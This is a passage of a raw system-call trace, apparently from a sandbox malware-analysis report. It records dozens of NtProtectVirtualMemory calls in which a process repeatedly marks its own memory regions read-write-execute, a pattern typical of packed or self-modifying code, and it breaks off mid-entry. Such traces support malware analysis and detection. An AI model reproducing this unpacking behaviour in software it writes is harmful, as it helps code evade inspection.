NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.307] NtProtectVirtualMemory (in: 